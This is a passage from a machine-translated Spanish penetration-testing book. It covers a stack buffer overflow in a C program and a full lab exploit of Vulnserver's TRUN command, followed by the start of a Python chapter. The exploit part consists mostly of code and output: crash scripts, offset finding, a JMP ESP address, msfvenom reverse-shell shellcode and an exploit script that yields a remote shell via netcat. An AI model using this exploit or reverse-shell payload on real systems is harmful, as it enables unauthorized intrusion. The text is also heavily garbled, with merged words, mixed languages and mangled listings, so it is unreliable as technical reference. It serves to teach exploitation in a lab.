charbuffer[15];
// copia el argumento del mensaje en la matriz de búfer strcpy (búfer,
mensaje);
}
//La función principal es la que se llama al principio cuando se inicia el programa
intmain(intargc,char*argv[]){
//variablelocalentero
intlocal_variable=1;
//Llamar a la función de copia y pasar el valor del argumento ingresado
por el usuario en la línea de comando. copiar(argv[1]);
//salir de la aplicación return0;
}
Canal de Telegram : @IRFaraExam
Machine Translated by Google
WhathappenedinthisCprogram? En primer lugar,
wecreatedthemainfunctionthattakes argumentsfromthecommandline.The
argc istheargumentscounter, y argv
isanarrayofstrings.Youalwaysstartwith1sinceargument0istheapplication
nameandnottheargumentitself (argv [1], argv [2], etc., willcontainthe-lineinput
valueofthecommand) .Onthefirstline (insidethe función principal), que
declaredadummyintegervariable toseehowitwillfit (local_variable) durante
el proceso de ingeniería inversa. A continuación, llamamos a la función de
copia y pasamos el argumento de cadena que ingresamos en la línea de
comando. En la función de copia, creamos una matriz de caracteres; aquí es donde alm
Análisis de búfer con ImmunityDebugger
Ahora hagamos ingeniería inversa de este programa utilizando Immunity
Debugger . Para compilar y generar el archivo .exe , deberá seguir el
mismo patrón que hicimos para el programa Hello World en el capítulo
anterior .
Abra Immunity Debugger y, esta vez, cuando seleccione Abrir archivo en el menú,
ingrese una entrada en el campo de argumentos ABCD (vea la figura 16.3).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 16.3 ImmunityDebugger, abriendo un archivo
Una vez cargado ImmunityDebugger, desplácese hacia abajo en la ventana de instrucciones (el
ventana superior izquierda) hasta que vea el siguiente grupo de instrucciones (dirección
las ubicaciones serán diferentes en su lado):
004015C0/$55PUSHEBP
004015C1 | .89E5004015C3
| .83EC28004015C6 |
.8B4508004015C9 |
.89442404004015CD |
.8D45E9004015D0 |
.890424004015D3
| .E8DC0F0000004015D8 |
.90004015D9 | .C9004015DA
\ .C3004015DB / $ 55004015DC |
.89E5004015DE | .83E4F0004015E1
MOVEBP,ESP
SUBESP,28
MOVEAX,DWORDPTRSS:[EBP+8]
MOVDWORDPTRSS:
[ESP+4],EAXLEAEAX,DWORDPTRSS:[EBP-17]
MOVDWORDPTRSS:
[ESP],EAXCALL<JMP.&msvcrt.strcpy>NOP
| .83EC20004015E4
EMPUJAR
| .E8B7000000004015E9
| .C744241C0100>
MOVEBP,ESP
ANDESP,FFFFFFF0
SUBESP,20
LLAMADASimpleBu.004016A0
MOVDWORDPTRSS:[ESP+1C],1
MOVEAX,DWORDPTRSS:[EBP+C]
ADDEAX,4
MOVEAX,DWORDPTRDS:[EAX]
MOVDWORDPTRSS:[ESP],EAX
LLAMADASimpleBu.004015C0
MOVEAX,0
SALIR
SALIR
RENTAR
RENTAR
004015F1|.8B450C004015F4|.83C004004015F7|.8B00004015F9|.890424004015FC|.E8BFFFFFFF00401601|.B80000000000401
NOP
En la parte superior, la función de copia comienza aquí:
004015C0/$55PUSHEBP
Lafunciónprincipalcomienzaenlasiguientelínea:
004015DB/$55PUSHEBP
Agregue un punto de interrupción donde declaró la variable entera ficticia (dentro del
función principal). Agregue un punto de interrupción haciendo clic con el botón derecho y seleccionando Punto de interrupción ÿ
Alternar (un punto de interrupción es una ubicación en el código fuente donde desea que
detener el programa)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
004015E9|.C744241C0100>MOVDWORDPTRSS:[ESP+1C],1
Una vez establecido el punto de interrupción, haga clic en Ejecutar (consulte la Figura 16.4) en la pequeña barra de
herramientas para ejecutar las instrucciones y detener la línea de punto de interrupción elegida.
Figura 16.4 ImmunityDebugger, Botón Ejecutar
Creamos estas variables ficticias para que pueda ver cómo se copian las variables en la
pila. Para ver este proceso en acción, haga clic en Pasar por encima (tres botones a la
derecha del botón Ejecutar) o use la tecla F8 para ir a la siguiente línea. Inspeccionemos la
ventana de la pila de cerca (ventana inferior derecha); si está siguiendo junto con su dirección,
sus números serán totalmente diferentes a los que ve aquí;
0061FEB000000005…
0061FEB400770DF0ð.w.
00618FEB/0061FF68hÿa.
0061FEBC|0040167B{ÿ@.RETURNtoSimpleBu.0040167BfromSimpleBu.004014C0
0061FEC0|00401610ÿ ÿ@.SimpleBu.00401610 0061FEC4|00000000….
0061FEC8|00000005ÿ…
0061FECC|00000001ÿ…
0061FED0|00000005ÿ…
0061FED4 | 00770DF0ð.w.
0061FED8|0061FF68hÿa.
Como puede ver, el valor 1 se ha copiado en la pila en la dirección 0061FECC.
¿Por qué se almacena el valor 1 en esta dirección? De acuerdo con las instrucciones de
ensamblado, el número 1 debe almacenarse en ESP+1C; usando una calculadora binaria, los
resultados son iguales a 61FECC. Ahora ya sabe cómo un programa almacena una variable
en la pila.
A continuación, use el botón Paso a paso para avanzar y detener la siguiente línea (justo
antes de que llamemos a la función de copia):
004015FC|.E8BFFFFFFFCALLSimpleBu.004015C0
Esta instrucción llamará a la función de copia, pero antes de llamarla, inspeccionemos
qué hay dentro de la pila:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
0061FEB000770E48Hw.ASCII"ABCD"
0061FEB400770DF0ð.w.
00618FEB/0061FF68hÿa.
Como puede ver, el valor de entrada ABC se Desalmacenó antes de ejecutar la
función de copia. ¿Por qué? Recuerde que este valor es un parámetro para esta función,
sin él, la función de copia no se podrá ejecutar correctamente.
Para continuar con la función de copia, usaremos el botón Step Into del menú (no
Step Over que usamos anteriormente). Una vez que haga clic en el botón Step Into,
la instrucción resaltada se moverá a la función de copia:
004015C0/$55PUSHEBP
Veamos la creación de la pila en la función de copia:
004015C0/$55PUSHEBP
004015C1|.89E5MOVEBP,ESP
004015C3|.83EC28SUBESP,28
Mover ESP a EBP los hará iguales, ¿verdad? En otras palabras, esto es lo que parece
en esta etapa. La pila está vacía, y la base y la parte superior de la pila son iguales. A
continuación, el compilador resta 28 del registro ES;
Y listo , la pila de la función de copia ha sido creada con éxito:
0061FE800061FE6Clþa.
0061FE84000001300..
0061FE880061FFCCÌÿa.
0061FE8C74E3CCC0ÀÌãtmsvcrt.74E3CCC0
0061FE90AAD8B1B6¶ ± ت 0061FE94FFFFFFFEþÿÿÿ
0061FE98 / 0061FF68hÿa.
0061FE9C | 004014CFïÿ @ .RETURNTOSIMPLEBU.004014CFFROM <JMP. Y
MSVCRT._ONEXIT> 0061FEA0 | 00401610ÿ ÿ 00401610ÿ ÿ 0061FEBU.00401610 0061FEA4
| 7769F94ES'IRTRETURNTONTL.7769F94EFLL.776F94EFROMNTLL.7769F960 0061FEA8
| 0061FED8ØþA.
A continuación, el ensamblador copia la dirección ABCD en la pila actual:
004015C6|.8B4508MOVEAX,DWORDPTRSS:[EBP+8]
004015C9|.89442404MOVDWORDPTRSS:[ESP+4],EAX
Luego, las siguientes dos líneas se agregarán a la parte superior de la pila del tocado donde la cuerda
Canal de Telegram : @IRFaraExam
Machine Translated by Google
será copiado:
004015CD|.8D45E9LEAEAX,DWORDPTRSS:[EBP-17]
004015D0|.890424MOVDWORDPTRSS:[ESP],EAX
Cuando vamos después de la función strcpy , puede ver
( 0061FE90434241B6¶ABC ) el ABCDASCII se copia en orden inverso.
¿Recuerda el little endian que cubrimos en el capítulo anterior?
0061FE800061FE91'þa.ASCII "ABCD"
0061FE8400BB0E48H».ASCII"ABCD"
0061FE880061FFCCÌÿa.
0061FE8C74E3CCC0ÀÌãtmsvcrt.74E3CCC0
0061FE90434241B6¶ABC 0061FE94FFFF0044D.ÿÿ
0061FE98 / 0061FF68hÿa.
0061FE9C|004014CFÏÿ@.RETURNtoSimpleBu.004014CFfrom<JMP.&msvcrt._onexit>
0061FEA0|00401610ÿ ÿ@.SimpleBu.00401610
0061FEA4|7769F94ENùiwRETURNtontdll.7769F94Efromntdll.7769F960 0061FEA8|
0061FED8Øþa.
Desbordamiento de pila
En este capítulo, desarrollamos el programa C (Simple Buffer.c ) porque
es vulnerable al desbordamiento de pila. Esta es la diferencia entre un
desarrollador normal y un analista de seguridad.
voidcopy(char*mensaje) {
//Declarar una matriz de caracteres charbuffer[15];
// copia el mensaje en la matriz de búfer strcpy (búfer, mensaje); }
Está recibiendo un parámetro de mensaje y ¿quién controla la entrada para esta función?
¿Lo has adivinado? Es el usuario a través de la línea de comandos, ¿y si ese usuario es
un hacker?
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Si observa detenidamente esta función, verá un límite de tamaño de matriz de búfer fijo declarado de
15. Ahora, ¿qué sucede si un usuario envió más de 15?
Abramos el depurador de inmunidad y carguemos el mismo programa, pero esta vez vamos a poner el
hacker hacker e intentar destruir la pila. Bueno, intentemos atacar el programa escribiendo muchos As (más
de 15 como mínimo) en el campo de argumento (en lugar de ABCD) y haciendo clic en Abrir (eligiendo la
letra A es aleatoria; puede ser B o C, etc.).
004015E9|.C744241C0100>MOVDWORDPTRSS:[ESP+1C],1
En esta etapa, agregaremos otro punto de interrupción en la instrucción NOP justo después de la línea
donde se copió el búfer:
004015D3|.E8DC0F0000CALL<JMP.&msvcrt.strcpy>004015D8|.90NOP
Una vez establecido el punto de interrupción, haga clic en Ejecutar para ejecutar y detener la instrucción NOP.
¿Adivina qué? Simplemente desbordamos la pila con As:
0061FE8400B10EC8ȱ.ASCII"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0061FE880061FFCCÌÿa.
0061FE8C74E3CCC0ÀÌãtmsvcrt.74E3CCC0
0061FE90414141D3óAAA 0061FE9441414141AAAA
0061FE9841414141AAAA 0061FE9C41414141AAAA
0061FEA041414141AAAA 0061FEA441414141AAAA
0061FEA841414141AAAA 0061FEAC41414141AAAA
0061FEB041414141AAAA
La figura 16.5 muestra lo que sucede cuando hacemos clic en Ejecutar.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 16.5 Mensaje de error
Echa un vistazo a este divertido mensaje; está llorando como un bebé: “No
sé cómo continuar porque la dirección de memoria 414141 no se puede leer”.
¡Por supuesto, no se puede leer!
En las próximas secciones, veremos cómo hacer esta acción.
StackOverflowMechanism
¿Qué sucedió realmente cuando llenamos la pila con As? La pregunta más
importante, ¿por qué se llena el EIP con As? (¿Por qué no EBX o ECX, y pronto?)
La respuesta más fácil es que cada función (como la función de copia en nuestro
programa C) necesitará almacenar la dirección de retorno en el registro EIP, y este valor
se guardará temporalmente en la pila/búfer como se muestra en la Figura 16.6.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 16.6 Estructura de pila
Dado que el tamaño del búfer está limitado a 15 en nuestro programa C y lo llenamos con
muchos A, el escenario que se muestra en la Figura 16.7 se ha ejecutado en lugar del
comportamiento normal. En realidad, EIP se llenará solo con 4 A porque su tamaño es de
solo 4 bytes.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 16.7 Llenar el búfer con As
StackOverflowExplotación
Esta sección tomará el concepto de desbordamiento de búfer para explotar un servidor
remoto y obtener un shell remoto. Después de todo, este capítulo pretende mostrarle cómo
puede aprovechar esta técnica y usarla en escenarios de la vida real.
Descripción general del laboratorio
Para los siguientes ejemplos de esta sección, usaremos diferentes
herramientas para lograr la explotación del desbordamiento del búfer.
Aplicación Vulnerable La
aplicación vulnerable que usaremos en este isla está dedicada a la explotación.
La aplicación vulnerable se llama Vulnserver y está disponible en GitHubat
github.com/stephenbradshaw/vulnserver:
AtacanteSistemaOperativo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
SO: KaliLinux
IP: 172.16.0.103
VíctimaSistemaOperativo
Sistema operativo: Windows10x86
IP: 172.16.0.102
Herramientas Instaladas:
Depurador de inmunidad
servidor de vulnerabilidades
Fase 1: Prueba
En el primer paso, haremos una prueba para ver si la aplicación es vulnerable al
desbordamiento del búfer.
Probando HappyPath
Primero, necesitamos ejecutar el servidor Vuln en nuestro host de Windows. La
aplicación estará escuchando las conexiones entrantes en el puerto 9999:
C:\Users\Gus\Downloads\vulnserver-master\vulnserver master>vulnserver.exe
Iniciandovulnserverversion1.00 Calldessentialfunctiondllversion1.00
¡Este es un software vulnerable!
¡No permita el acceso desde sistemas o redes que no sean de confianza!
Esperando las conexiones del cliente…
Por otro lado, probaremos esta aplicación usando nuestra Kali VM. Para probar la
conectividad de este servidor, usaremos netcat para hacer el trabajo:
root@kali:~#nc-nv172.16.0.1029999 (DESCONOCIDO)
[172.16.0.102]9999(?)abrir ¡Bienvenidoaservidorvulnerable!
IngreseAYUDAparaayuda.
AYUDA Comandos válidos:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
AYUDA
ESTADÍSTICAS[valor_estadístico]
RTIME[rtime_value]
LTIME[ltime_value]
SRUN[valor_ejecución]
TRUN [valor_trun]
GMON[valor_gmon]
GDOG[valor_gdog]
KSTET[valor_kstet]
GTER[valor_gter]
HTER [valor_hter]
LTER[valor_filtro]
KSTAN[valor_lstan]
SALIDA
Como puede ver, la aplicación remota acepta diferentes comandos una
vez que estamos conectados de forma remota .
Ahora, es momento de comenzar a construir nuestro PoC usando una secuencia de comandos de Python.
En esta secuencia de comandos, enviaremos solo 10 As al servidor (usaremos el método TRUN del
servidor ), y no esperamos que se bloquee:
#Importthenetworksocketlibrary importsocket
#send10A'stotheserver test="A"*10try:
#crearunobjetodesocketparaconectarconlosservidores=socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn=s.connect(
#Espere y reciba algunos datos en la
recepción (1024) print ("Éxito")
#Si ocurre un error/excepción, entonces ejecute esta línea excepto: print("OcurrióError")
finalmente:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
#conexión cercana
cerrar()
Cuando se ejecutó el script de Python, se muestra el mensaje de éxito, por lo que la prueba de
ruta feliz ha funcionado correctamente:
root@kali:~/BFO#pythonHappy_test.pySuccess
ProbandoelCrash
En lugar de enviar solo 10 A, enviaremos 10 K para bloquear el servidor (los 10 K
Como usamos cuando iniciamos la prueba de desbordamiento de búfer es solo un número aleatorio
para asegurarnos de que podremos bloquear la aplicación):
importsocket
importsys
#send10000A'stotheserver crash="A"*10000
pruebe: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn=s.connect(('172.16.0.102',9999)) s.recv(1024) s.send('TRUN/.:/'+
crash) s.recv(1024) excepto: print("ErrorOccured") sys.exit(0)
finalmente: s.close()
Ejecutar el script de Python anterior bloqueará el servidor remoto:
root@kali:~/BFO#pythoncrash.pyErrorOcurrió
Fase 2: tamaño del búfer
Nuestro próximo objetivo es estimar el tamaño del búfer de la pila. ¿Por qué? Porque queremos
saber dónde está ubicado el EIP (consulte la Figura 16.6) para que podamos insertar la instrucción
de ensamblaje para apuntar a nuestra ejecución de carga útil (lo haremos en la fase 3).
PatrónCreación
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Machine Translated by Google
proceso haciendo clic en el menú Archivo y luego seleccionando Adjuntar de la lista. Se
abrirá una nueva ventana y seleccionaremos la aplicación de la lista (se llama Vulnserver).
Una vez que hagamos clic en Adjuntar, Immunity se pausará.
root@kali:~/BFO#pythonmsf_chunk.py
El programa Python debería colgarse en esta etapa, pero mirando de cerca el
Host de Windows, podré ver algunos resultados prometedores en la ventana
Registros dentro de Immunity:
EAX00A8F1E8ASCII "TRUN /.:/
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
ECX00E55118
EDX00006BD7
EBX000000C0
ESP00A8F9C8ASCII
"Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr
EBP6F43366F
ESI00401848vulnserv.00401848
EDI00401848vulnserv.00401848
EIP386F4337
Anotemos el valor de EIP y suministrémoslo a Metasploit para que devuelva el tamaño
exacto del búfer mediante la herramienta pattern_offset :
root@kali:/usr/share/metasploit-framework/tools/exploit#./pattern_offset.rb-l10000q386F4337 [*]Coincidencia exacta enoffset2003
Fase 3: control de EIP
Para visualizar lo que sucedió hasta ahora, creemos la siguiente carga útil:
2003As+4Bs+5000Cs
Estamos usando 2003As (A=41 en hexadecimal) porque ese es el tamaño del búfer. Cuatro Bs
(B=42 en hexadecimal) representarán el tamaño de EIP (porque el tamaño de EIP es de 4 bytes).
Finalmente, estamos leyendo unos 5,000 C caracteres aleatorios (C = 43 en hexadecimal) para mostrar
cómo se ve después de la EIP:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
importsocket
importsys
prueba_eip="A"*
2003+"B"*
4+5000
*"C"
pruebe: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c=s.connect(('172.16.0.102',9999)) s.recv(1024) s.send('TRUN/.:/'+
test_eip) s.recv(1024) excepto: print("ErrorOccured") sys.exit(0)
finalmente: s.close()
Después de guardar el script de Python, realice los siguientes pasos:
1. En el host de Windows, asegúrese de que Vulnserver.exe se esté ejecutando.
2. En el host de Windows, ejecute Immunity Debugger y adjunte la aplicación.
3. En Inmunidad (después de adjuntar el proceso), haga clic en el botón Ejecutar y espere.
4. En Kali, ejecute el script de Python.
5. Inspeccione los resultados dentro de Immunity Debugger (consulte la figura 16.8).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 16.8 Desbordamiento de pila con A, B y C
Preste atención a la ventana de la pila. ¿Ve cómo encajan A, B y C? Tenga esta imagen
(Figura 16.8) en mente. La usaremos para visualizar cómo explotar la aplicación Vulnserver
en los próximos pasos.
AgregarlainstrucciónJMP
? Nowthatyoucancontrolthestack, thenexttaskistoinstructEIPtoexecutethe
JMPESPinstruction.WhyJMPESP MyendgoalistofilltheESPwithmy shellcodepayload (lookingat
Figure16.8, youshouldseethattheESPvalueis filledwithCs) .Butbeforethat,
theEIPaddresslocationwillinstructthe
assemblertoexecutetheshellcodeusingtheJMPESPassemblyinstruction.But espera
Wecan'tjustinsertJMPESPinEIP; wewillfillEIPwiththeaddressof thatinstruction
(JMPESPinthiscase) .Again, wewilluseImmunityDebugger
tolocatearandomJMPESPaddresslocation.Togetthejobdone, followthese pasos:
1. En el host de Windows, asegúrese de que Vulnserver.exe se esté ejecutando.
2. En el host de Windows, ejecute Immunity Debugger y adjunte la aplicación.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
3. En Inmunidad (después de adjuntar el proceso), haga clic en Ejecutar.
4.Haga clic con el botón derecho dentro de la ventana Instrucciones de ensamblaje (arriba a la izquierda)
y seleccione BuscarÿTodos los comandos en todos los módulos.
5. Una vez que se abra la ventana Buscar, ingrese jmpesp y haga clic en el botón Buscar.
6. Se mostrarán todos los artículos con todas las instrucciones correspondientes. Elija el
siguiente (en su extremo, los tocados y sus ubicaciones serán diferentes):
a.Dirección=625011AF
b.Desmontaje=JMPESP
c.ModuleName=C:\Users\Gus\Downloads\vulnserverÿ
master\vulnserverÿmaster\essfunc.dll
Antes de pasar a la sección de código de shell, debe saber cómo manejar la dirección que
encontramos. ¿Recuerda el principio de littleÿendian del capítulo anterior? De hecho, en el
código de Python que verá en la siguiente sección, utilizaremos el siguiente valor para el EIP:
. y el resto es el inverso
\xAF\x11\x50\x62\x en Python significa que este es un valor hexadecimal,
del valor de dirección real (eso es mostrar el trabajo de little endian).
Fase 4: Inyectar la carga útil y obtener un shell remoto Es
hora de los resultados finales. ¿Está emocionado? Este es el
momento en el que llevamos un shell remoto al host víctima de
Windows.
Generación de carga útil
Usemos MetasploitMSFvenom para generar una carga útil de shell inversa:
raíz @ kali: ~ # MSFvenom-PWindows / shell_reverse_tcplhost =
172.16.0.103lport = 1111-AX86-B "\ X00" -fypython [-] noplatformwasselected,
choosetmsf :: módulo :: plataforma :: windowsfromthepayload
found11compatibledeloders intentandottoencodepayloadwith1iterationsofx86 /
shikata_ga_nai x86 / shikata_ga_naisucceseedwithitsize351 (iteración=0)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
x86/shikata_ga_naichosenwithfinalsize351
Payloadsize:351bytesFinalsizeofpythonfile:1712bytes buf=b""
buf+=b"\xba\x1e\x11\x43\xb1\xdb\xda\xd9\x74\x24\xf4\x5e\x2b"
buf+=b"\ xc9\xb1\x52\x31\x56\x12\x83\xee\xfc\x03\x48\x1f\xa1"
buf+=b"\x44\x88\xf7\xa7\xa7\x70\x08\xc8\x2e\x95 \x39\xc8\x55"
buf+=b"\xde\x6a\xf8\x1e\xb2\x86\x73\x72\x26\x1c\xf1\x5b\x49" buf+=b"\x95\xbc\xbd\x64
\x26\xec\xfe\xe7\xa4\xef\xd2\xc7\x95" […]
En el comando anterior, usamos las siguientes opciones: ÿp
(carga útil): Windowsreverseshell.
LHOST :KaliIPaddress.
LPORT : El número de puerto que usaremos en nuestro oyente.
ÿa (arquitectura):x86. ÿb
(carácter incorrecto): Queremos excluir el carácter incorrecto\x00 de la carga útil. Los
caracteres incorrectos harán que el código de shell falle.
ÿf (formato de salida): Python.
Personajes malos
Ahora sabe que un carácter incorrecto hará que la carga útil falle, pero hay más.
Entonces, ¿por qué \x00 es un carácter incorrecto de todos modos? La razón principal
es que el sistema operativo manejará un carácter incorrecto como un byte NULO.
\x0D :Retorno del carro
\xFF : avance de formulario
\x0A : Salto de línea
\x00 : NULO
ShellcodePythonScript
Después de generar el código shell usando MSFvenom, ahora podemos enviar una carga
útil al servidor remoto. Además, tenga en cuenta que agregaremos algunas diapositivas NOP (32 de
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ellos) antes de agregar el código shell:
importsocket importsys
buf=b""
buf+=b"\xba\x1e\x11\x43\xb1\xdb\xda\xd9\x74\x24\xf4\x5e\x2b" buf+=b"\xc9\xb1\x52\x31
\x56\x12\x83\xee\xfc\x03\x48\x1f\xa1" buf+=b"\x44\x88\xf7\xa7\xa7\x70\x08\xc8\x2e\x95\x39\xc8\x55"
buf+=b"\xde\x6a\xf8\x1e\xb2\x86\x73\x72\x26\x1c\xf1\x5b\x49" buf+=b"\x95\xbc\xbd\x64\x26\xec\xfe\
xe7\xa4\xef\xd2\xc7\x95" buf+=b"\x3f\x27\x06\xd1\x22\xca\x5a\x8a\x29\x79\x4a\xbf\x64" buf+=b"\x42\
xe1\xf3\x69\xc2\x16\x43\x8b\xe3\x89\xdf\xd2\x23" buf+=b"\x28\x33\x6f\x6a\x32\x50\x4a\x24\xc9\xa2\x20
\xb7\x1b" buf+=b"\xfb\xc9\x14\x62\x33\x38\x64\xa3\xf4\xa3\x13\xdd\x06" […]
#addtothebuffersomeNOPslides(32isacommonnumber) shellcode="\x90"*32+buf
#Payload=2003A's+addresstotheJMPESP+shellcodetoejecut payload="A"*
2003 + "\ xAF \ x11 \ x50 \ x62" + código de shell
pruebe: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn=s.connect(('172.16.0.102',9999)) s.recv(1024) s.send('TRUN/.:/'+ payload)
s.recv(1024) excepto: print("ErrorOccured") sys.exit(0) finalmente: s.close()
Después de guardar el script de Python, realice los siguientes pasos:
1. En el host de Windows, asegúrese de que Vulnserver.exe se esté ejecutando.
2. No usaremos Immunity para este ejercicio; solo queremos un shell remoto.
3. En Kali, inicie Netcatlistener ( $ nc - nlvp1111 ).
4. Ejecute el script de Python, ¡y debería obtener un caparazón!
root@kali:~#nc-nlvp1111 escuchando en
[cualquier] 1111... conectarse a [172.16.0.103]
desde (DESCONOCIDO) [172.16.0.102] 50339
Canal de Telegram : @IRFaraExam
Machine Translated by Google
MicrosoftWindows[Versión 10.0.19041.630]
(c)2020MicrosoftCorporation.Todoslosderechosreservados.
C:\Usuarios\Gus\Descargas\vulnserver-master\vulnserver-master>whoami whoami
escritorio-0se33n2\gus
Resumen
En este capítulo, vio la forma común de explotar la pila, pero no es la
única forma de hacerlo. Existen otras técnicas, como el controlador de
excepciones estructurado (SEH) y Egghunter.
En el siguiente capítulo, cubriremos los conceptos básicos del lenguaje de
programación Python.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 17
Programando con Python
Python es el lenguaje elegido por los piratas informáticos; es simple y convincente.
Este fantástico lenguaje de programación proporciona una excelente plataforma de
desarrollo para crear sus herramientas ofensivas. ¿Y adivina qué? Puede usarlo en
cualquier plataforma, Windows, Mac o Linux.
En este capítulo, aprenderá los siguientes conceptos en Python:
CómoinstalaryusarPythondebuggeronKali
Conceptos básicos de secuencias de comandos de Python
Tipos de variables
Cómodeclararunafunción
Cómo manejar los bucles
Condiciones de uso
Cómo implementar la gestión de errores
Cómo crear objetos de clase
Conceptos básicos de Python
Quizás se pregunte, ¿por qué elegir Python? Esta sección puede ayudarlo a tomar
esa decisión. Hagamos algunas comparaciones primero. Cuando quiera comparar
opciones, es mejor usar algún tipo de agrupación. Digamos que le gustan las
hamburguesas, pero a su amigo John le gusta la pizza;
Por ejemplo, si desea desarrollar una aplicación web empresarial, es mejor utilizar
lenguajes de programación como C# o Java (y, a veces, PHP).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Y si desea desarrollar controladores de hardware, debe profundizar en C ++ y el
lenguaje ensamblador.
Ahora viene la categoría de pruebas de penetración. En primer lugar, debe conocer
Python y los conceptos básicos de Bashscripting (que ya cubrimos en el Capítulo 2,
"Bash Scripting").
Ejecutar PythonScripts
Para ejecutar una secuencia de comandos de Python , normalmente abre la ventana de su terminal y escribe la
palabra clave python seguida del nombre de archivo/ruta de la secuencia de comandos de Python:
raíz @ kali: ~ # python [python_file.py]
Otra forma de ejecutar scripts de Python es utilizar el siguiente patrón:
root@kali: ~#./[python_file.py]
Aquí volvemos a suponer dos cosas, primero que está en el mismo directorio que
el archivo de script (en la ventana de su terminal) y que le ha dado al archivo los
permisos correctos usando el siguiente comando:
raíz @ kali: ~ # chmod + x [python_file.py]
La tercera mejor opción es simplemente escribir el nombre de archivo de Python:
raíz @ kali: ~ # [python_file.py]
Si desea ejecutar la secuencia de comandos de esa manera, deberá agregar el directorio
(donde está guardando sus secuencias de comandos) a la variable PATH. Ya cubrimos esto
en detalle en el Capítulo 2, donde cubrimos el lenguaje de secuencias de comandos Bash.
Depuración de PythonScripts
En un momento dado, desarrollará una secuencia de comandos grande con
Python para ayudarlo a lograr sus objetivos de prueba de penetración. Cuando
ese sea el caso, necesitará un software de entorno de desarrollo integrado (IDE) para
que pueda depurar y detectar errores de programación. Usamos Visual Studio Code
en Kali Linux en este capítulo y en el siguiente.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Instalación de VSCodeonKali
Es fantástico que los productos de Microsoft finalmente sean compatibles con Linux. En
los viejos tiempos, esto era solo un sueño y era muy complicado ejecutar aplicaciones de
Windows en un sistema operativo basado en Linux. Para descargar el archivo de instalación
de VScode, use la siguiente URL: code.visualstudio.com/download.
Una vez que se complete la descarga, abra su terminal y cambie su directorio actual
a las carpetas Descargas (porque ahí es donde se encuentra la aplicación). En la
ventana de la terminal, ejecute el siguiente comando (el nombre del archivo puede ser
diferente en las versiones futuras de VSCode):
root@kali:~/Downloads#dpkg-icode_1.51.1-1605051630_amd64.debSeleccionando código
de paquete no seleccionado previamente.
(Leyendo la base de datos… 345247 archivos y directorios actualmente instalados.)
Preparando para desempaquetar código_1.51.1-1605051630_amd64.deb…
Código de desempaquetado (1.51.1-1605051630)…
Código de configuración (1.51.1-1605051630)…
Processingtriggersfordesktop-file-utils(0.24-1)…
Procesando disparadores de soporte de tiempo (3.64)…
Processingtriggersforshared-mime-info(1.15-1)…
Una vez finalizada la instalación, acceda al menú de Kali y escriba el nombre de la aplicación en
el cuadro Buscar (consulte la Figura 17.1), y lo verá en los resultados de la búsqueda.
Figura 17.1 Ejecutando VSCode
Un último cambio que debe realizarse antes de comenzar a desarrollar secuencias
de comandos de Python . ¡Debemos agregar la extensión de Python !
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 17.2 Extensión de Python
Finalmente, haga clic en el botón Instalar para instalar esta extensión. Cuando cree su
primer script de Python, aparecerá un mensaje de VSCode en la parte inferior de la
pantalla indicándole que instale Pylint (vea la Figura 17.3), y eso es lo único que queda
para comenzar a usar este IDE para la programación de Python.
Figura 17.3 Pylint
PracticandoPython
Tenga en cuenta que, en este capítulo, cubriremos la versión 3+ de Python.
Desafortunadamente, la versión 2 ya no es compatible, pero aún puede usarla; no
hay una gran diferencia en la sintaxis. Dicho esto, ¿qué sucede si desea practicar
un escenario de Python rápidamente ?
root@kali:~#python3
Python3.8.3(predeterminado, 14 de mayo de 2020, 11:03:12)
[GCC9.3.0]enLinux
Escriba"ayuda","derechos de autor","créditos"o"licencia"para obtener más
información.
>>>
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En esta etapa, puede probar rápidamente lo que quiera. Declaremos una variable de texto
de cadena (llamada mensaje) e imprimámosla en la pantalla usando la función de impresión .
Después de eso, usaremos el comando exit() para salir de la ventana del intérprete de
Python:
root@kali:~#python3
Python3.8.3(predeterminado, 14 de mayo de 2020, 11:03:12)
[GCC9.3.0]enlinux
Escriba"ayuda","derechos de autor","créditos"o"licencia"para obtener más
información. >>>mensaje="¡Hola amigos!" >>>imprimir(mensaje)
¡Hola amigos!
>>>salir()
root@kali:~#
NOTA
Siempre guardamos las secuencias de comandos del código fuente de Python como archivos .py .
PythonBasicSyntaxes
Hay algunas sintaxis y patrones estándar en Python que debe tener en cuenta antes de
continuar con este capítulo. Esta sección mostrará todas las formas populares de manejar el
lenguaje Python; ¡comencemos!
PythonShebang
El Pythonshebang se logra agregando la ruta del intérprete de
Python al host local (KaliLinux). La idea principal es ejecutar el
archivo como un script y definir la versión del script también (Python
2 o 3).
#!/usr/bin/python3
print("¡Hackeemos!")
En la secuencia de comandos anterior, le indicamos al sistema operativo (KaliLinux) que utilice
Python3. Además, si algún día compartimos este código con otras personas, también lo sabrán.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
sección.
Comentarios en Python
Para agregar comentarios en el script de Python, debe usar el signo de hash, .
